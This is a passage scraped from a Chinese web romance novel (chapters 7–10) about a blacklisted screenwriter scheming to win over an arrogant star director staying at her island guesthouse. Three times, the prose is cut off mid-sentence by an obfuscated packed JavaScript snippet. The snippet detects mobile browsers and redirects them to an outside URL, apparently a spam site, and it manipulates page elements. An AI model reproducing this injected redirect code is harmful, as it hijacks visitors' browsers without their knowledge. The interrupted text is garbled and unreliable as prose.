她的心绪起伏翻滚,深呼吸,再深呼吸。那个一直没平息过的念头又一次幽灵般出现,死死缠住了她的思绪。 谈雪昼怔住,片刻后问:“这么看着我干什么?” 宜夏盯着他,很久很久,情绪终于平复下来,缓缓露出一个堪称柔软的笑容:“谈老师,你相信一见钟情吗?” 7. 春日 第7章 - 谈雪昼睫毛敛下,声音懒散干净,却很无情:“不相信。” 宜夏:“……” 喝完水他就上楼了。 跟宜夏半句话都没有多说。 明明共处一个屋檐下,却比陌生人更陌生。 如果是其他客人这么省心,宜夏一定会感恩戴德地感谢,在网上给房客打五星好评。 可现在这情况,她主动想跟他熟起来,面对他这种冰冷疏离礼貌的态度,完全一筹莫展。 宜夏盯着他的背影,却坚定了决心。 利用我、踹开我、污蔑我、打压我,想让我永世不得翻身,成全你天才的美名,于思程你他妈做梦。 我一定会拿回所有属于我的东西。 让你对我,跪下,认错,道歉。 路已经摆在面前了。 于氏可以让蜜桃传媒这样的小公司不用她的本子,甚至可以联合大半个娱乐圈联手隐秘地封杀她,但是,他们影响不了谈雪昼。 不仅因为他的票房实绩几乎笑傲所有人,更因为,他姓谈。宜夏几年前的饭局上,就听说过他显赫到恐怖的家世。 他高傲拿乔又怎么样。 她还真就不信这个邪了。 - 苏格拉底曾经说过,工欲善其事,必先利其器,必先制定一番计划,必将遇见一番变化,必将让整个故事面目全非。 不管怎么样,宜夏盘腿坐在沙发上,慎重地在word里打字制定作战计划。 《攻略TXZ作战计划1.0》 目标:通过谈雪昼,重回电影圈 可能途径一:直接把写好的剧本递给谈雪昼。谈雪昼身为导演,对她的剧本很感兴趣,立刻决定助她一臂之力。 Pass。这少爷连微信都不肯加她。而且这少爷自己的电影全是枪战飙车大爆炸,特工恐龙哥斯拉的,一看就不会对她的剧本感兴趣。 所以途径二:旁敲侧击,铺垫一番之后再把剧本递给谈雪昼,表示只需要他帮忙引荐给其他导演即可。 可能的结果一:谈雪昼不帮忙。 可能的结果二:谈雪昼勉强帮忙了,剧本被引荐了,于思程这死女人再次从中作梗,项目流产。 可能的结果三:谈雪昼帮忙了,剧本被引荐了,谈雪昼还用自己的能量保驾护航了,于思程那个死女人没办法作妖,项目成功拍出来了。 成功的第一步。 宜夏敲键盘的手指停了下来。 结果三,怎么看都不可能。 最可能的是结果一。 要从结果一走到结果三…… 宜夏死死盯着屏幕上几行黑色宋体字。关键就在于,谈雪昼的态度。 他能给多大支持,他为什么要给那么大支持? ——也许因为,他觉得她是个好人? 不够。 或者,他对她有好感。 不,好感还不够。 可能要他……喜欢上她,怜惜她,为她的遭遇感同身受。 宜夏捏紧拳头。 要他喜欢上她,难度太高了。 他看起来像是只会喜欢自己的那类人,世界第一自恋。 宜夏面前的电脑因为长时间没操作黑屏,进入睡眠模式。 她从屏幕反光里看见了自己的面孔。 她一向知道自己长得是挺好看的。 不过没怎么在意过。 总是草草地扎个马尾或者高丸子头,洗把脸不化妆就素颜出门。去见那些制片导演的时候,更是刻意戴黑框眼镜、涂裸色口红,把自己搞得特别憔悴,让这些油腻男人不要注意到她的容色。 可是没什么用。 过去几年还是源源不断收到若有若无的暗示性骚扰。 因为她长了张太标准的初恋校花脸。冷白皮,鹅蛋脸,睫毛纤长,杏眼黑白分明,笑起来眼睛一弯,成为一泓明亮的泉水。 男人不就那么回事吗,不管十八二十八三十八,都喜欢她这款长相。 宜夏摸了摸脸。 ——但也许谈雪昼口味特殊,喜欢其他类型呢? 毕竟喜欢枪战的男的,也许更偏好美式甜心、明艳辣妹? 党中央曾经说过,正确的决策离不开调查研究,正确的贯彻落实同样也离不开调查研究;调查研究是获得真知灼见的源头活水,是做好工作的基本功。(*) 一个女的想让一个男的喜欢上自己,自然也离不开前期的调查研究。 一个导演对女性的偏好,实在是太好发现了。 就藏在他的电影里、镜头深处。 宜夏一口气把谈雪昼所有电影全都下载了下来,打算仔细分析一番。 熬夜到三点,她得出了一个结论。 ——谈雪昼,他可能,不喜欢女的。 他的电影怎么全是男的。男的打仗,男的觉醒异能,男的当特工,男的开飞机,男的杀人放火! 他是个Gay吧! 当然也有女演员。 不是那种经典的点缀电影的花瓶美女,可以体现导演本人审美偏好那种,而是——男主肥胖的婶婶、男主一开头就被杀掉的妹妹、离婚时直接把男主甩开的妈妈、高大威武黝黑对男主严厉教导的女教官…… 他没把这些女角色当“美女”在拍,这些女人和他的男性主角一样,全都灰头土脸,一会儿就死一个。 往好了说,这叫没男性凝视,往不好了说,全都是他的工具人。 宜夏创业未开始1%就一筹莫展。 满怀忧虑睡去,她做了一宿的梦,梦里是硝烟弥漫的战场,一大群看不清脸的人类在打仗,一会儿啪就死一个,梦境翻滚着血肉与残肢。 这个梦几乎把她整个人魇住,突然,一阵有节奏的敲门声出现在她意识深处。 她倏然睁开眼睛。 天光大亮,不仅是大亮,日光都已经射进房间了。 外面传来谈雪昼懒散困倦的声音:“你在里面吗?” 宜夏按亮手机。 十一点。 谈雪昼又敲了敲门:“你醒了没?是不是生病了?要送你去医院吗?” 宜夏有点想罢工,又有点想蓬头垢面衣衫不整冲出去,揪住他的衣领厉声问:你他妈到底喜欢什么样的女的!你说!你说啊,你说了我照做! 脑补了十秒,宜夏有气无力地回答:“对不起,我以为才七点。睡过了。” 谈雪昼:“你有时差?” “对,我这里是东十二区。”宜夏顺着他的话胡言乱语。 谈雪昼不跟她胡扯,在外面淡定说:“我一会儿要出门。有没有吃的可以带出去?” 宜夏急匆匆换了件纯棉的大T恤,拉开房门。 谁知谈雪昼就站在门口。 她径直撞在了他身上,额头直接磕他坚硬的肩膀上。宜夏抬起头,却又磕了一下谈雪昼的下巴,谈雪昼疼得倒吸一口凉气。 宜夏连忙伸手摸他被撞红的下巴。 谈雪昼却伸手抓住她的手腕。 两个人猝不及防地对视一眼,距离太近,呼吸交错,宜夏还没什么反应,却眼见谈雪昼的耳廓隐隐染上一层绯色。 宜夏本来觉得有点惊悚,下一秒反射弧到位,想到正事——她熬到凌晨三点,估计黑眼圈要掉到下巴了,还蓬头垢面没洗脸没刷牙。 不管谈雪昼喜欢什么类型的女的,都不会喜欢她这副样子。 真是创业未半而中道崩殂一百次。 驾崩太频繁,宜夏反而面无表情地淡定了,从谈雪昼手里把手腕抽出来。 谈雪昼却好像怔住了。 宜夏绕过他,低低地说:“我先洗漱,再给你做。” 谈雪昼在背后叫住她:“你怎么了?” 宜夏没回答,脚步虚浮地走进了洗漱间。 从镜子里果然看见了自己憔悴的脸。 她从储物柜里翻出一包还没拆开的面膜,叹息着压在了脸上。亡羊补牢一下,以示尊重。 顶着一脸面膜出门,一出门,又撞上了谈雪昼。 她面膜下面两只黢黑的眼睛直勾勾盯着他:“你想带什么,三明治可以吗?做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461070|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来比较快。” “行。”谈雪昼也不挑,抱着手臂看着她,半秒后徐徐问,“你这面膜,不会掉碗里吧?” 宜夏说:“才不会,贴很紧。” 她还拍了拍,下一秒面膜就……不负众望地,滑脱了一半。谈雪昼沉默了,宜夏也沉默着重新贴好,若无其事转身进了厨房。 煎蛋的功夫,宜夏低着头望水池里自己的倒影。 跟女鬼不说是相差甚远吧,也只能说是同卵双生。 唉。 她把面膜撕掉,洗了把脸,挽起袖子,努力振奋精神。 不要紧不要紧,刚刚出丑就出丑,指不定谈雪昼根本没看清她的黑眼圈呢?就算看清了下一秒肯定就忘了。 如此天生丽质,他只应该注意到她的长睫毛和高鼻梁。 做人最不能被挫折打击到,一百个挫折来临,我们要一百零一次站起来。 站起来的第一步,先吃饭吧。 她这次大展身手,做了三种不同的三明治,蟹柳滑蛋、柠檬鸡胸和培根肉松厚蛋,卖相精致,还特地用包装纸垫好装进蓝色藤编小篮子里,还在旁边放了一瓶苏打水、一瓶青柠汁。 自己的饭都没来得及做。 她没问谈雪昼出门要做什么,但看他已经准备好的背包,猜出来他估计还是照常要四处勘景。 把小篮子推给他,他伸手接过,宜夏却握着把手一侧没送。 他拉了一下,撩起眼皮看着她。 宜夏温温柔柔问:“谈老师,你要出门做什么呀?你每天都带着相机,是在外面拍照吗?需要我当向导吗?” 谈雪昼:“不用。” 宜夏很真诚:“我是本地人,特别的了解岛上的风景。”她依然没松手,语气温柔,“真的不需要吗?免费服务,不多收费。” 谈雪昼看着她:“你在打什么主意?” 宜夏微笑:“我真的只是有职业素养。” “嗯?” “您是我接下来这段时间唯一的顾客,我绝对要保证您的入住体验。” 谈雪昼不像是信了的样子,端详着她的脸,也不说话。 宜夏被他看得绷紧脸,不自觉咬了下嘴唇,努力勇敢地直视着他,试图让他相信自己的真心。 他终于移开眼神,嗤笑一声:“不安好心。” 宜夏:“……” 他对她有莫名其妙的偏见。 他拎起小篮子掂了掂,懒散说:“给我找个没这么花里胡哨的盒子,可以带出门的。” 宜夏八十斤体重七十九斤反骨隐约作响。 不知道为什么,他说什么,她都好想反抗。 但她这回强行压制住了反驳“这哪里花里胡哨了”的欲望,很顺从地去储物柜里翻了个简单的铁质饭盒出来。 很贤妻良母地把三明治都塞进去。两瓶饮料,她递给谈雪昼:“你放包里吧,渴了喝,这个青柠汁我觉得特别好喝。” 谈雪昼手掌撑着桌面,微微侧头注视着她。 不太相信的眼神:“是不是里面放了泻药?” 宜夏:“……没有。” “你有第二人格?” 这人是抖M吗?对他好他还不乐意了。 宜夏死死咬住下唇,定定看着谈雪昼,忽然说:“如果我说是对你有好感,你会相信吗?” 谈雪昼:“……” 宜夏慢吞吞问:“你不会对自己的美貌和才华,以及美好的□□,那么没自信吧?” 谈雪昼不答,只是低头把饭盒塞进背包里。 宜夏紧紧盯着他,脑子里电光石火般回想起,刚刚不小心撞上的时候,他是不是脸红了?耳朵红了。 她后知后觉地想,他刚刚不会害羞了吧? 哈哈。 让我抓住你了吧。 正暗暗喜悦。 谈雪昼把东西收好,拉上拉链,才抬起头,懒洋洋说:“用这点小手段就想抓住我,是不可能的。”调子拉得很长,似笑非笑的戏谑,“我呢,条件摆在这里。对我有好感的人太多了。你先排个队,拿个号吧。” 8. 春日 第8章 宜夏倒在沙发上,后脑枕着靠背,伤心地回想刚刚发生的一切。 在谈雪昼说出那句话之后,她沉默一秒,诚恳问:“那我能问一下,我前面排了谁吗?” “苏菲·玛索,伊莎贝尔·阿佳妮,安吉丽娜·朱莉,茱莉亚·罗伯茨,奥黛丽·赫本,等等。” 宜夏:“……你要脸吗?” 她居然没忍住问出口了。 谈雪昼有点讶异地看她。 她闭嘴了。 谈雪昼没受任何影响,自我感觉良好地拍了拍她的肩膀:“我呢,行情确实不错,你条件一般,要继续努力。虽然咱们目前是近水楼台的状态,但我这个人比较矜持,你不一定有优势。” 宜夏温吞说:“看在我们都是中国同胞的份上,给我插个队。” 谈雪昼很好说话:“不行。” 说完他鼓励似的拍了拍她的肩膀:“加油。” 然后他就走了。 出门了。 宜夏呢。 追上去说“加个微信吧!”,又迎来一次拒绝。他背对着她摆了摆手,就拎着单肩包出了院门。 宜夏被悲伤淹没。 一种恶意纠缠住了她,她突然想写一个以谈雪昼为原型的电影。 嗯。 就安排男主角是个导演好了。 这个导演他在某个小岛旅游,突发意外,台风导致了一场严重的车祸,他深受重伤,被附近离群索居的女人救了下来。 女人是他的疯狂影迷…… 女人囚禁他,虐待他,逼迫他写以她为女主角的电影剧本,还要和他本人上演香艳戏码…… 脑子里想了不少血淋淋的情节来解压,宜夏终于从颓废中平复不少。 俗话说,事不过三。俗话又说,女追男隔层纱。俗话还说,一个女人想要搞定一个男人,全宇宙都会帮她。 当天晚上,宜夏怀着这样的心情钻进了被窝。稍颓两分钟,明天再战吧。 睡前,宜夏收到薛霓发来的消息。 【[截图][截图][截图]】 【舒润粉丝怎么这么不要脸,组团骂我。】 【气死我了气死我了,我还投诉不掉】 宜夏: 【狗咬人,你还跟狗计较。】 薛霓: 【我不服气。】 【妈的烂人没报应,舒润没flop,资源怎么还越来越好了】 【我今天在论坛吃瓜,说他下一部要演我谈的男主】 【我草了】 【莫挨我谈】 宜夏: 【……】 薛霓: 【我谈肯定就是被这鸟人瘟到了】 【都退网了】 【致命追杀2都要给其他人拍了】 【华语电影第一美强惨】 宜夏: 【不要对莫名其妙的人有这么强的滤镜】 薛霓: 【我谈不是美强惨是什么?】 是自恋鬼。 宜夏在心里默默说。 又扯了两句,她有点犹豫要不要和薛霓说谈雪昼的事情。 算了。 等时机成熟再说吧。 薛霓突然问: 【你前几天说的那个坏印象,好感度刷回来没有?】 宜夏说到这个真是悲愤。 不仅没刷回来。 【甚至微信都没加到。】 薛霓: 【不至于吧!你干了什么,这么久了还没刷正?】 【就凭你这张脸,对方也不可能狠得下心啊!】 谈雪昼他没有心。 薛霓: 【有没有想其他手段?】 宜夏: 【没用】 【微信都不给一个。】 【我怀疑他是Gay。】 薛霓: 【。。。】 宜夏: 【如果有需要,我可以告诉他其实我是男扮女装】 薛霓小心翼翼: 【但我觉得他应该很难相信。】 宜夏: 【这个人傲慢自恋难搞得要死,我从没见过这样的男的。】 【不知道他在牛什么,真的很装。】 薛霓: 【……】 【咱们何必单恋一枝花】 宜夏: 【不行】 她顿了下,斩钉截铁: 【我一定要在这棵老歪脖子树上吊死】 薛霓最终绞尽脑汁给宜夏出了主意。 俗话说得好,不管怎么样反正一定要抓住男人的胃。 □□半途而废,事已至此先点菜吧。宜夏头天晚上特地问了谈雪昼第二天要不要出门,得知他下午不出去,她立刻决定大展身手。 岛民靠海吃海,宜夏的外婆是烹饪海鲜的好手,宜夏从小跟着她打下手,处理起鱼虾,特别麻利干净。 品质好的海鲜不需要过多的烹饪,清蒸白灼就行,能最大程度地保留食材的本味。宜夏忙了一个下午,面对一桌色香味俱全的海鲜盛宴,自己都馋了。 做好后,宜夏拍了张餐桌照片,言简意赅发彩信给谈雪昼: 【晚饭。】 ——没错还是没有加到微信。 谈雪昼: 【.】 宜夏真诚说: 【谈先生,晚饭做好了,请您下来用餐。】 只差没自称老奴了。 五分钟后,谈雪昼出现在了餐桌旁。 不知道他白天都在干什么,一脸黑白颠倒的困倦模样。墨镜没戴,垂着薄白的眼皮扫了眼桌上的大菜,又扫了眼宜夏:“今天还有别人来吃?” “没有呢,就我们。” 谈雪昼:“那你做这么多菜干什么?” “您给了那么高的工资,我肯定要让您物超所值。”宜夏温柔伸手,“请用。” 谈雪昼坐下,揉了下眼角:“还是发生什么好事了?” 宜夏刚要下意识说“我们也没熟到可以一起庆祝好事发生”,硬生生止住,咬了下舌尖,温吞说:“您来我们家入住就是最大的好事。” 谈雪昼明显不相信,但看出来她在糊弄,也懒得问了,伸筷夹了一筷虾肉。 岛上别的不多,就是海鲜又多又新鲜,还特别鲜甜,基本不需要烹饪水准。谈雪昼毫不客气地每样都尝了一下,抬起头,对上宜夏温柔期待的眼睛,问:“你今天想干什么?” “好吃吗?” “好……一般。” 宜夏眨了下眼,很有职业热情地说:“那您具体说一下哪里一般,我下次改进。” “你到底什么目的?” 宜夏有点受伤:“我只是想服务好我唯一的客户,您怎么不把人往好处想?” 谈雪昼敷衍点头:“嗯嗯。” 谈雪昼吃完之后没上楼,靠着书架翻书。 宜夏认命地收拾一大堆碗筷,边洗边琢磨怎么继续刷一下好感度。 这事吧,确实要循序渐进,不能突兀,不能态度大转折,不然谈导冰雪聪明,一定会发现不对劲。 她洗好碗从厨房出去。 谈雪昼把书翻过一页,偏过头看来。 宜夏忽然惊悚地站住:“谈、谈先生,你的脸?” 谈雪昼用眼神问“怎么了”。 宜夏下意识摸自己的左脸颊,示意:“你脸上怎么……手背也是……你海鲜过敏?” 谈雪昼低眼,手背上起了一层密密麻麻的红疹,看起来触目惊心,按起来也生疼。 “你在调料里放了什么?” “就是正常的料,生抽老抽盐醋蚝油小米椒?……我煮的时候在锅里放了一点花雕去腥,你不会对酒精过敏吧?” 谈雪昼皱了皱眉,但没说什么。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461071|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宜夏被他一脸红痕吓坏了,连声问:“痒吗?痛吗?那个,过敏一般吃什么药?我送你去诊所看看,是不是要消炎,要打针?” 刚刚说话的时候还没那么吓人,就这两分钟功夫,他脸上的红痕迅速蔓延到了脖颈,实在有点恐怖。 宜夏内疚得不行,旋过身就去拿自己的手机,动作太急却绊了一下。 谈雪昼一把拽住她,声音淡定:“我都没急,你急成这样?” 当然啊,是她放了酒害的。 她迅速把手机塞回衣服口袋里,奔到门外推出小电驴:“快点,我送你去诊所!” 谈雪昼走到门口,被扫地机器人绊住了脚。他蹲下来把扫地机器人搬去旁边,宜夏急得在门口喊:“你快点啊!” 谈雪昼走过来:“是我过敏,你这么紧张?” 宜夏气急:“我怕你死了!” 死了我要坐牢。 谈雪昼:“……” 她迅速把头盔抛给谈雪昼,坐好出发,一路朝岛上的小诊所疾驰而去。 天色渐暗,小电驴驶过环海公路,远处的灯塔永恒地闪着光。宜夏把电驴开成了超跑,谈雪昼坐在后座,一个颠簸,不得不撞到她的肩膀。 然而两个人谁都没留意到这点微不足道的肢体接触。 小诊所里稀稀拉拉几个病人正在挂水,宜夏拽着谈雪昼进去。 这会儿过敏又进展不少,把值班的护士都吓了一跳。谈雪昼自己却恍若不觉,低垂着眼皮,若无其事地插兜站着。 宜夏忙着跟护士去缴费。 不一会儿,诊所里唯一的医生过来看了谈雪昼一眼,得知是过敏,马上开了两瓶葡萄糖酸钙注射液,又开了点口服药。 护士给谈雪昼扎上针,宜夏又去弄来温水让人把药吃了,这才结束了自己的慌乱,在一旁坐下。 她捂住脸。 懊恼,现在就是懊恼。 大展身手是大展身手了,把人展进医院了。怎么这么倒霉呢! 她转过头,看了眼谈雪昼。 他脸上红痕未消,仰着头靠在椅背上,喉结顶出来,线条锋利。 脖颈处一道明显的红痕。 出来得急,没戴墨镜,他只好用手虚虚拢着眼睛,挡住光线。 宜夏突然发现他手指很长很直。 当编剧当久了……确实失去了用繁复词汇形容美丽事物的能力。 长,直,白,骨节突出。 谈雪昼突然放下手,眯着眼睛转头看过来,声音懒散:“喂。” 宜夏微微睁圆眼。 “再看收费了。” 宜夏心突然加速了半拍。她抿住唇,干巴巴转移话题:“现在好点了吗?” “还行。”谈雪昼问,“你怎么紧张成这样?你故意的?” 宜夏顿时不内疚了。 她收回目光,慢吞吞说:“你看,本来这种事情就可以避免的,你应该加我的微信,提前告诉我你什么东西过敏。所以,今天这事我最多负10%的责任。” 她觑了他一眼,改口:“好吧,50%。” 谈雪昼居然点头表示了认同:“是我的错。” “所以微信?” “……还没打消泡我的念头?” 宜夏暗自咬牙。 打不消,这辈子都打不消。 谈雪昼那两瓶药水要挂四个小时,挺漫长的。 他仰起身,靠在椅背上,伸手挡住眼睛,说:“你先回去吧。” 宜夏立刻摇头:“我回去也没别的事。” “你在这里也没事。” 宜夏说:“我可以陪你说话。” 谈雪昼勾着唇,似笑非笑的弧度:“我还在想你什么目的。原来在这里等着我啊。” 宜夏轻咬了下唇,这次却没反驳,眨了眨眼,表情羞赧。 谈雪昼脸色顿时变得一言难尽,懒得看她,转过头闭目养神。 9. 春日 第9章 宜夏骑着小电驴回了家一趟,给谈雪昼拿墨镜。毕竟要打好几个小时的针,总不能一直闭着眼睛。 他角膜炎好像真的非常严重。 她没见过这么严重的职业病,那些七八十岁的老导演都没这样,何况他还这样年轻。 宜夏没忍住,把墨镜递给他的时候问了一句:“你眼睛……是怎么了?” 谈雪昼看着她:“你不知道吗?” 她为什么会知道? 谈雪昼侧过头,戴上墨镜,侧脸锋利冷淡:“不知道就别问。” 宜夏:“……” 算我多余关心了。 怎么会有这么阴晴不定不识好歹的人! 宜夏撇过脸不看他。 不过,怎么好像提到他的眼睛,他心情就会突然变差,语气也变恶劣。 他眼睛到底怎么了。 不就是角膜炎吗? 谈雪昼两瓶药得打到半夜。 虽然人很讨厌,但宜夏一想到是自己害他打针,就没好意思把他一个人留在诊所,只好百无聊赖地坐在旁边陪着。 谈雪昼闭目养神休息着,宜夏摸出手机。 想了想。 她打开搜索引擎。 “谈雪昼眼睛出了什么问题” 感谢万能的搜索,她迅速过滤掉没用的垃圾网页,点进了一个讨论帖。 【主题】雪子出来路演都戴墨镜,他眼睛怎么了? 0L:去江流线下路演,看他一直戴着墨镜不能摘,之前隐约有听说他眼睛出问题了? …… 23L:别猜了,就是角膜炎。 …… 35L:模仿王家卫?墨镜谈? …… 76L:好像是在外面餐厅吃饭遇见了火灾,被熏坏的。小道消息,不保真。 火灾? 宜夏找到了关键词,开始搜“谈雪昼”、“火灾”,搜出来的却是他导演过的一部电影,《纵火审判》。 宜夏戳进去,干巴巴的电影AI解说声音立刻响彻狭小的输液室:“注意看,这个少年叫小帅,他即将一把火烧了整个学校——” 宜夏手忙脚乱地关掉声音。 谈雪昼沉默两秒,主动开口:“看我的电影,不用这么偷偷摸摸的。” 宜夏下意识说:“……我看见不得人的东西才会偷偷摸摸。” 谈雪昼:“……” 宜夏找了个耳机塞上,继续看解说。 谈雪昼撑着膝盖,靠过来一点。 看了两分钟,他声音被染上了一层散漫不驯的色彩,带点轻慢的笑意,拉长调子说:“——还说你不认识我?” 宜夏暂停电影解说。 顿了两秒,她才接话:“我什么时候说过不认识。谈导您的鼎鼎大名谁不知道。每个知道您的人都能叫认识吗?” 谈雪昼缓慢重复了一遍,轻飘飘的,自言自语一般,瞟她一眼,“是不认识”。 宜夏有点怀疑自己是不是失忆了,是不是什么时候真的认识过他。 可是真没有。 也不知道他发什么疯。 她干巴巴说:“我继续看视频了。” 谈雪昼略略靠过来,恩赐一般说:“不用静音,这里就我们两个。” 宜夏按开了声音,谈雪昼又说:“靠过来一点,我也要看。” 宜夏:“这是你电影的解说,你自己有什么好看的?” 谈雪昼声音玩味:“确实,那你有什么好看的?” 宜夏很有说法:“我学习。” “那为什么不看原片?” 宜夏:“我想快速学习。” “快速学习你可以问我本人。” 说这句话他像施恩一样。 宜夏:“……” 她转过头,定定看着谈雪昼,忽然点头,认真说:“既然谈老师您都这么说了,那我肯定认真求教。” 她打开原片。 谈雪昼靠得更近,凑过来一起看。 宜夏一转头,额角磕到了他的墨镜镜框。她终于问出了那个好奇了很久的问题:“你戴着墨镜看东西,不会觉得加了一层暗色滤镜吗?你能看清楚吗?” “还行。” “那你要工作的时候怎么办?” “摘掉。” “那不会不舒服吗?” 谈雪昼漫不经心说:“那怎么办呢?我只能,边掉眼泪边剪片子,真是敬业,感动了无数观众。” 宜夏小声嘀咕:“可惜没感动学院。” ——谈雪昼的电影每一部都是票房奇迹,小成本能过十亿,大投资更是年冠年亚常客。可惜,在国内国外权威的电影节,却至今没拿到过BP最佳影片,当然也没拿到过最佳导演。倒是“最佳视效”、“最佳特效”之类的技术奖拿了一箩筐。 学院奖那堆老头子很不待见他。 他的粉丝们都说,学院需要用“拒绝谈雪昼”来彰显逼格。 谈雪昼轻嘲:“那是学院的损失。” 宜夏感觉这个人确实自信,甚至有些狂妄。 但他有这个资格。 手机上电影播了四分之一,谈雪昼一瓶药水滴完,宜夏叫来护士给人换了一瓶。时间已经到了九点,看来滴完确实要到半夜。 宜夏坐回原位,再次按开手机放电影。 电影结尾,超能力觉醒的男主角一把火烧灭了校园,把所有霸凌过他的反派们都埋葬在尘埃之下。 电影节奏实在是太好,剧情一个接一个,刺激一潮接着一潮,宜夏目不转睛屏息凝神。 最后的高||潮如同巨浪一般兜头打来,宜夏全副心神被抓紧,几乎屏息到最后一秒。男主角满身火焰遍体鳞伤从火焰中现身,她才松了口气。 谈雪昼神色矜持,漫不经心说:“还行?这部一般,我没把我最好的东西放在里面。” 宜夏问:“所以最后的结局是在表达什么?霸凌者必须死?” 谈雪昼:“表达什么很重要吗?能吸引观众进电影院就是好作品。” “那色情片应该是最好的作品了。” 谈雪昼挑眉:“如果审查允许上映的话。” 宜夏不赞同他的观点。 她手指攥紧裙摆的布料,纠结片刻,轻声说:“我觉得,电影是严肃的创作,背后的表达很重要。而且,电影是通俗艺术,越大众,教化意义越强,怎么能不在乎表达什么?” “要教育观众,应该去教育局,不应该来拍电影。” 宜夏不解:“难道你拍电影就只是为了赚钱吗?” “不是。”谈雪昼不甚在意,仰起头散漫说,“我是为了玩。” “……?” “我想拍什么,就拍什么。我想怎么样,在电影里就可以怎么样。” “所以电影只是你的玩具。” “对。” 他实在是太理直气壮了。 自己的信仰在他心里这样无足轻重,宜夏闭了下眼睛,压制着语气,还是没忍住:“怪不得又自大又没深度,一点文化都没有。学院不给你奖是应该的。” 谈雪昼表情冷了下来,直勾勾看着她,有点嘲讽:“观众喜欢,学院算老几?” 他看着她,“你拿了两个奖,除了《江流冬日》,你其他电影票房加起来过一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461072|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亿了吗?你要教化观众,观众愿意听你说教吗?” 宜夏不知道怎么回怼,咬住嘴唇。 谈雪昼嘲讽:“拍文艺片的,都觉得自己是阳春白雪曲高和寡,怀才不遇生不逢时。没脑子还要卖弄。” 宜夏霍然站起来,深呼吸:“我去叫护士了。” 大步走出输液室,她情绪依然没平复下来。 快气炸了。 她在长椅上一屁股坐下,揉乱头发。 怎么能这么说她…… 没脑子还爱卖弄。 那他就是没深度没文化,只会搞血腥暴力。 她好歹拿了学院几个奖呢。 他除了票房有什么啊? 除了钱! 钱!钱!钱!除了几个臭钱,有什么啊? ……有钱啊。 观众是真喜欢他那一套。 宜夏用后脑勺哐哐撞墙壁。 她其实也对很多同行有些不解。尤其是去参加一些创投的时候,看到很多本子,她甚至都要查一大堆资料才能搞清楚到底在说什么。那观众肯定更看不懂。 可是她写的本子不是那样的啊。 她自认是认真的,郑重的,用心的,她没想说教,她很虔诚地想讲一个故事,讲一个有道理的故事。 他怎么能那么说她啊。 两分钟之后,宜夏突然意识到了什么。 他……他好像真的认识她? 他居然知道她是《江流冬日》的编剧,知道他们是同行。 他应该是第一眼就认识了她…… 宜夏脑子更乱了。 他居然认识她。可是他对她有偏见,他不喜欢她的东西。 其实她也不喜欢他的电影。 她也没想过要他来拍她的剧本。只是他有人脉,她想的是,总可以通过他来接触到其他导演制片。 现在好了,他根本就是认识她,但他说她是“没脑子还爱卖弄”,那怎么可能帮她? 而且他如果认识她……那会不会知道她身上的那些丑闻? 那段时间事情闹得很大,她百口莫辩,声名狼藉,短短一个月的时间就坠入谷底。他知道这些事吗?如果知道……那他岂不是,很容易就猜出她接近他的目的? 宜夏脑子炸疼,不自觉咬住食指,焦虑起来。 不行。 不行,再想想,缓缓,深呼吸,慢慢想,慢慢来。一定有办法的。 许久。 她终于平复了情绪,她撑着站起来去看他的药水有没有滴完。 回到输液室,却见谈雪昼取了墨镜,懒洋洋靠着椅背坐着,长腿支着,在跟一个护士签名。小岛不大,护士也是宜夏认识的熟脸孔。 护士笑得特别灿烂开怀,不停表白说超级超级喜欢他的《致命追杀》。签完名了,护士的兴奋劲还没消,追问:“谈导是来我们清塘旅游吗?还是取景?” 谈雪昼说:“取景。” “真的!会在我们这边拍吗?是哪一部?追杀2?追杀2男主还是野总吧?女主定了吗?是不是李若月?我特喜欢她。她本人漂亮不漂亮啊谈导?” 说话间,谈雪昼手背上的针已经被她麻利地抽了出去。 谈雪昼用两根手指按住止血棉,掀着眼皮,漫不经心说:“漂亮么……一般。” 宜夏一声不吭垂着头走过去,撩起刚刚搭在椅背上的外套,平静地穿上,假装刚刚的争执没有发生,平淡说:“谈老师,回去了。” 谈雪昼站直,戴回墨镜,居高临下看着她,片刻后,若无其事说:“还在生气?” 宜夏回过头看他,黑眼珠沉静温和,淡淡说:“没有。” 10. 春日 第10章 - 出了诊所,宜夏沉默着把头盔递给谈雪昼。 两个人坐上小电驴,宜夏骤然启动,谈雪昼的墨镜磕在宜夏后颈上。 宜夏伸手按了下后颈,一言不发地转身上路。 一路无言的沉默,直到行驶到半途,车胎发出猛的一声爆响。 宜夏手上的车把顿时失去平衡,左摇右晃往旁边歪去。她紧紧握住车把,急刹车把车停下。 谈雪昼从后座跨下车,宜夏也跟着下去,用手机电筒打亮车身。 车爆胎了。 一辆小电驴不能承受两个人的体重,它艰难工作了两天,就此宣告罢工。 